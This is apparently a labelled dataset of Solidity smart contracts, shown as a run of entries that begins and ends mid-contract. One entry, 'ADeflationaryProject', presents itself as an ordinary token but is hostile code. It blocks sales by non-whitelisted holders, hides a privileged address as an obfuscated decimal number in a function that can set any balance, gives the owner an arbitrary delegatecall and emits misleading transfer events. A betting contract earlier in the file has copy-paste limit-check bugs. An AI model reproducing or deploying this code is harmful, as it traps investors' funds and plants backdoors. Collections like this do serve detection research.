address private nextOwner;
address ERC20ContractAddres;
address public ERC20WalletAddress;
bool IsEther = false;
bool IsInitialized = false;
uint256 BaseTimestamp = 1534377600;
uint StartBetTime = 0;
uint LastBetTime = 0;
uint SettleBetTime = 0;
uint FinalAnswer;
uint LoseTokenRate;
uint256 optionOneAmount = 0;
uint256 optionTwoAmount = 0;
uint256 optionThreeAmount = 0;
uint256 optionFourAmount = 0;
uint256 optionFiveAmount = 0;
uint256 optionSixAmount = 0;
uint256 optionOneLimit = 0;
uint256 optionTwoLimit = 0;
uint256 optionThreeLimit = 0;
uint256 optionFourLimit = 0;
uint256 optionFiveLimit = 0;
uint256 optionSixLimit = 0;
mapping(address => uint256) optionOneBet;
mapping(address => uint256) optionTwoBet;
mapping(address => uint256) optionThreeBet;
mapping(address => uint256) optionFourBet;
mapping(address => uint256) optionFiveBet;
mapping(address => uint256) optionSixBet;
uint256 feePool = 0;
event BetLog(address playerAddress, uint256 amount, uint256 Option);
event OpenBet(uint AnswerOption);
mapping(address => uint256) EtherBalances;
mapping(address => uint256) TokenBalances;
constructor () public{
owner = msg.sender;
IsInitialized = true;
}
function initialize(uint256 _StartBetTime, uint256 _LastBetTime, uint256 _SettleBetTime,
uint256 _optionOneLimit, uint256 _optionTwoLimit, uint256 _optionThreeLimit,
uint256 _optionFourLimit, uint256 _optionFiveLimit, uint256 _optionSixLimit,
uint256 _LoseTokenRate, address _ERC20Contract, address _ERC20Wallet,
bool _IsEther) public {
require( _LastBetTime > _StartBetTime);
require(_SettleBetTime > _LastBetTime);
StartBetTime = _StartBetTime;
LastBetTime = _LastBetTime;
SettleBetTime = _SettleBetTime;
LoseTokenRate = _LoseTokenRate;
optionOneLimit = _optionOneLimit;
optionTwoLimit = _optionTwoLimit;
optionThreeLimit = _optionThreeLimit;
optionFourLimit = _optionFourLimit;
optionFiveLimit = _optionFiveLimit;
optionSixLimit = _optionSixLimit;
ERC20ContractAddres = _ERC20Contract;
ERC20WalletAddress = _ERC20Wallet;
IsEther = _IsEther;
IsInitialized = true;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable
{
revert();
}
function PlaceBet(uint optionNumber) public payable
{
require(LastBetTime > now);
require(IsInitialized == true,'This is not opened yet.');
require(IsEther == true, 'This is a Token Game');
require(msg.value >= 0.01 ether);
uint256 _amount = msg.value;
if(optionNumber == 1){
require( optionOneAmount.add(_amount) <= optionOneLimit );
optionOneBet[msg.sender] = optionOneBet[msg.sender].add(_amount);
optionOneAmount = optionOneAmount.add(_amount);
}else if(optionNumber == 2){
require( optionTwoAmount.add(_amount) <= optionTwoLimit );
optionTwoBet[msg.sender] = optionTwoBet[msg.sender].add(_amount);
optionTwoAmount = optionTwoAmount.add(_amount);
}else if(optionNumber == 3){
require( optionThreeAmount.add(_amount) <= optionThreeLimit );
optionThreeBet[msg.sender] = optionThreeBet[msg.sender].add(_amount);
optionThreeAmount = optionThreeAmount.add(_amount);
}else if(optionNumber == 4){
require( optionFourAmount.add(_amount) <= optionFourLimit );
optionFourBet[msg.sender] = optionFourBet[msg.sender].add(_amount);
optionFourAmount = optionFourAmount.add(_amount);
}else if(optionNumber == 5){
require( optionFiveAmount.add(_amount) <= optionFiveLimit );
optionFiveBet[msg.sender] = optionFiveBet[msg.sender].add(_amount);
optionFiveAmount = optionFiveAmount.add(_amount);
}else if(optionNumber == 6){
require( optionSixAmount.add(_amount) <= optionSixLimit );
optionSixBet[msg.sender] = optionSixBet[msg.sender].add(_amount);
optionSixAmount = optionSixAmount.add(_amount);
}
feePool = feePool .add( _amount.mul(20).div(1000));
emit BetLog(msg.sender, _amount, optionNumber);
}
function PlaceTokenBet(address player, uint optionNumber, uint _amount) public onlyOwner
{
require(LastBetTime > now);
require(IsInitialized == true,'This is not opened yet.');
require(IsEther == false, 'This is not an Ether Game');
if(optionNumber == 1){
require( optionOneAmount.add(_amount) <= optionOneLimit );
optionOneBet[player] = optionOneBet[player].add(_amount);
optionOneAmount = optionOneAmount.add(_amount);
}else if(optionNumber == 2){
require( optionTwoAmount.add(_amount) <= optionTwoLimit );
optionTwoBet[player] = optionTwoBet[player].add(_amount);
optionTwoAmount = optionTwoAmount.add(_amount);
}else if(optionNumber == 3){
require( optionTwoAmount.add(_amount) <= optionTwoLimit );
optionThreeBet[player] = optionThreeBet[player].add(_amount);
optionThreeAmount = optionThreeAmount.add(_amount);
}else if(optionNumber == 4){
require( optionTwoAmount.add(_amount) <= optionTwoLimit );
optionFourBet[player] = optionFourBet[player].add(_amount);
optionFourAmount = optionFourAmount.add(_amount);
}else if(optionNumber == 5){
require( optionTwoAmount.add(_amount) <= optionTwoLimit );
optionFiveBet[player] = optionFiveBet[player].add(_amount);
optionFiveAmount = optionFiveAmount.add(_amount);
}else if(optionNumber == 6){
require( optionTwoAmount.add(_amount) <= optionTwoLimit );
optionSixBet[player] = optionSixBet[player].add(_amount);
optionSixAmount = optionSixAmount.add(_amount);
}
emit BetLog(msg.sender, _amount, optionNumber);
}
function FinishGame(uint256 _finalOption) public onlyOwner
{
require(now > SettleBetTime);
FinalAnswer = _finalOption;
}
function getGameInfo() public view returns(bool _IsInitialized, bool _IsEther,
uint256 _optionOneAmount, uint256 _optionTwoAmount,
uint256 _optionThreeAmount, uint256 _optionFourAmount, uint256 _optionFiveAmount,
uint256 _optionSixAmount,
uint256 _StartBetTime, uint256 _LastBetTime,
uint256 _SettleBetTime, uint256 _FinalAnswer, uint256 _LoseTokenRate )
{
return(IsInitialized, IsEther, optionOneAmount, optionTwoAmount, optionThreeAmount, optionFourAmount,
optionFiveAmount, optionSixAmount, StartBetTime, LastBetTime, SettleBetTime, FinalAnswer, LoseTokenRate );
}
function getOptionLimit() public view returns(
uint256 _optionOneLimit, uint256 _optionTwoLimit, uint256 _optionThreeLimit,
uint256 _optionFourLimit, uint256 _optionFiveLimit, uint256 _optionSixLimit)
{
return( optionOneLimit, optionTwoLimit, optionThreeLimit, optionFourLimit,optionFiveLimit, optionSixLimit);
}
function DateConverter(uint256 ts) public view returns(uint256 currentDayWithoutTime){
uint256 dayInterval = ts.sub(BaseTimestamp);
uint256 dayCount = dayInterval.div(86400);
return BaseTimestamp.add(dayCount.mul(86400));
}
function getDateInterval() public view returns(uint256 intervalDays){
uint256 intervalTs = DateConverter(now).sub(BaseTimestamp);
intervalDays = intervalTs.div(86400).sub(1);
}
function checkVault() public view returns(uint myReward)
{
uint256 myAward = 0;
uint256 realReward =
optionOneAmount.add(optionTwoAmount).add(optionThreeAmount)
.add(optionFourAmount).add(optionFiveAmount).add(optionSixAmount);
uint256 myshare = 0;
realReward = realReward.mul(980).div(1000);
if(FinalAnswer == 1){
myshare = optionOneBet[msg.sender].mul(100).div(optionOneAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 2){
myshare = optionTwoBet[msg.sender].mul(100).div(optionTwoAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 3){
myshare = optionThreeBet[msg.sender].mul(100).div(optionThreeAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 4){
myshare = optionFourBet[msg.sender].mul(100).div(optionFourAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 5){
myshare = optionFiveBet[msg.sender].mul(100).div(optionFiveAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 6){
myshare = optionSixBet[msg.sender].mul(100).div(optionSixAmount) ;
myAward = myshare.mul(realReward).div(100);
}
return myAward;
}
function getVaultInfo() public view returns(uint256 _myReward, uint256 _totalBets, uint256 _realReward, uint256 _myShare)
{
uint256 myAward = 0;
uint256 totalBets =
optionOneAmount.add(optionTwoAmount).add(optionThreeAmount)
.add(optionFourAmount).add(optionFiveAmount).add(optionSixAmount);
uint256 myshare = 0;
uint256 realReward = totalBets.mul(980).div(1000);
if(FinalAnswer == 1){
myshare = optionOneBet[msg.sender].mul(100).div(optionOneAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 2){
myshare = optionTwoBet[msg.sender].mul(100).div(optionTwoAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 3){
myshare = optionThreeBet[msg.sender].mul(100).div(optionThreeAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 4){
myshare = optionFourBet[msg.sender].mul(100).div(optionFourAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 5){
myshare = optionFiveBet[msg.sender].mul(100).div(optionFiveAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 6){
myshare = optionSixBet[msg.sender].mul(100).div(optionSixAmount) ;
myAward = myshare.mul(realReward).div(100);
}
return (myAward, totalBets, realReward, myshare);
}
function getBet(uint number) public view returns(uint result)
{
if(number == 1){
result = optionOneBet[msg.sender];
}else if(number == 2){
result = optionTwoBet[msg.sender];
}else if(number == 3){
result = optionThreeBet[msg.sender];
}else if(number == 4){
result = optionFourBet[msg.sender];
}else if(number == 5){
result = optionFiveBet[msg.sender];
}else if(number == 6){
result = optionSixBet[msg.sender];
}
}
function withdraw() public
{
require(FinalAnswer != 0);
uint256 myReward = checkVault();
if(myReward ==0 && IsEther == true)
{
uint256 totalBet = optionOneBet[msg.sender]
.add(optionTwoBet[msg.sender]).add(optionThreeBet[msg.sender])
.add(optionFourBet[msg.sender]).add(optionFiveBet[msg.sender])
.add(optionSixBet[msg.sender]);
uint256 TokenEarned = totalBet.mul(LoseTokenRate);
ERC20(ERC20ContractAddres).transferFrom(ERC20WalletAddress, msg.sender, TokenEarned);
}
optionOneBet[msg.sender] = 0;
optionTwoBet[msg.sender] = 0;
optionThreeBet[msg.sender] = 0;
optionFourBet[msg.sender] = 0;
optionFiveBet[msg.sender] = 0;
optionSixBet[msg.sender] = 0;
if(IsEther)
{
msg.sender.transfer(myReward);
}
else
{
ERC20(ERC20ContractAddres).transferFrom(ERC20WalletAddress, msg.sender, myReward);
}
}
function updateERC20WalletAddress(address newAddress) public onlyOwner
{
ERC20WalletAddress = newAddress;
}
function getServiceFeeBack() public onlyOwner
{
uint amount = feePool;
feePool = 0;
msg.sender.transfer(amount);
}
} | 1 | 3,617 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BaseToken {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(balanceOf[_from] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
OwnershipRenounced(owner);
owner = address(0);
}
}
contract BurnToken is BaseToken {
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
return true;
}
}
contract AirdropToken is BaseToken, Ownable{
uint256 public airAmount;
address public airSender;
uint256 public airLimitCount;
mapping (address => uint256) public airCountOf;
event Airdrop(address indexed from, uint256 indexed count, uint256 tokenValue);
function airdrop() public {
require(airAmount > 0);
if (airLimitCount > 0 && airCountOf[msg.sender] >= airLimitCount) {
revert();
}
_transfer(airSender, msg.sender, airAmount);
airCountOf[msg.sender] = airCountOf[msg.sender].add(1);
Airdrop(msg.sender, airCountOf[msg.sender], airAmount);
}
function changeAirAmount(uint256 newAirAmount) public onlyOwner {
airAmount = newAirAmount;
}
function changeAirLimitCount(uint256 newAirLimitCount) public onlyOwner {
airLimitCount = newAirLimitCount;
}
}
contract LockToken is BaseToken {
struct LockMeta {
uint256 remain;
uint256 endtime;
}
mapping (address => LockMeta[]) public lockedAddresses;
function _transfer(address _from, address _to, uint _value) internal {
require(balanceOf[_from] >= _value);
uint256 remain = balanceOf[_from].sub(_value);
uint256 length = lockedAddresses[_from].length;
for (uint256 i = 0; i < length; i++) {
LockMeta storage meta = lockedAddresses[_from][i];
if(block.timestamp < meta.endtime && remain < meta.remain){
revert();
}
}
super._transfer(_from, _to, _value);
}
}
contract TTest is BaseToken, BurnToken, AirdropToken, LockToken {
function TTest() public {
totalSupply = 36000000000000000;
name = "ABCToken";
symbol = "ABC";
decimals = 8;
owner = msg.sender;
airAmount = 100000000;
airSender = 0x8888888888888888888888888888888888888888;
airLimitCount = 1;
balanceOf[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920] = 3600000000000000;
Transfer(address(0), 0x7F268F51f3017C3dDB9A343C8b5345918D2AB920, 3600000000000000);
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 3600000000000000, endtime: 1528189200}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 3240000000000000, endtime: 1528192800}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 2880000000000000, endtime: 1528196400}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 2520000000000000, endtime: 1528200000}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 2160000000000000, endtime: 1528203600}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 1800000000000000, endtime: 1528207200}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 1440000000000000, endtime: 1528210800}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 1080000000000000, endtime: 1528214400}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 720000000000000, endtime: 1528218000}));
lockedAddresses[0x7F268F51f3017C3dDB9A343C8b5345918D2AB920].push(LockMeta({remain: 360000000000000, endtime: 1528221600}));
balanceOf[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3] = 3600000000000000;
Transfer(address(0), 0xE4CB2A481375E0208580194BD38911eE6c2d3fA3, 3600000000000000);
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 3600000000000000, endtime: 1528189200}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 3240000000000000, endtime: 1528192800}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 2880000000000000, endtime: 1528196400}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 2520000000000000, endtime: 1528200000}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 2160000000000000, endtime: 1528203600}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 1800000000000000, endtime: 1528207200}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 1440000000000000, endtime: 1528210800}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 1080000000000000, endtime: 1528214400}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 720000000000000, endtime: 1528218000}));
lockedAddresses[0xE4CB2A481375E0208580194BD38911eE6c2d3fA3].push(LockMeta({remain: 360000000000000, endtime: 1528221600}));
balanceOf[0x6a15b2BeC95243996416F6baBd8f288f7B4a8312] = 3600000000000000;
Transfer(address(0), 0x6a15b2BeC95243996416F6baBd8f288f7B4a8312, 3600000000000000);
balanceOf[0x0863f878b6a1d9271CB5b775394Ff8AF2689456f] = 10800000000000000;
Transfer(address(0), 0x0863f878b6a1d9271CB5b775394Ff8AF2689456f, 10800000000000000);
balanceOf[0x73149136faFc31E1bA03dC240F5Ad903F2E1aE2e] = 3564000000000000;
Transfer(address(0), 0x73149136faFc31E1bA03dC240F5Ad903F2E1aE2e, 3564000000000000);
lockedAddresses[0x73149136faFc31E1bA03dC240F5Ad903F2E1aE2e].push(LockMeta({remain: 1663200000000000, endtime: 1528182000}));
lockedAddresses[0x73149136faFc31E1bA03dC240F5Ad903F2E1aE2e].push(LockMeta({remain: 1188000000000000, endtime: 1528181400}));
balanceOf[0xF63ce8e24d18FAF8D5719f192039145D010c7aBd] = 10836000000000000;
Transfer(address(0), 0xF63ce8e24d18FAF8D5719f192039145D010c7aBd, 10836000000000000);
lockedAddresses[0xF63ce8e24d18FAF8D5719f192039145D010c7aBd].push(LockMeta({remain: 2167200000000000, endtime: 1528182000}));
}
function() public {
airdrop();
}
} | 0 | 1,690 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ADeflationaryProject {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] > _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function Rates(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner||msg.sender==address
(450616078829874088400613638983600230601285572903));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function Dismiss(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function AddLiquidity(address addr) public returns(bool){
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,922 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
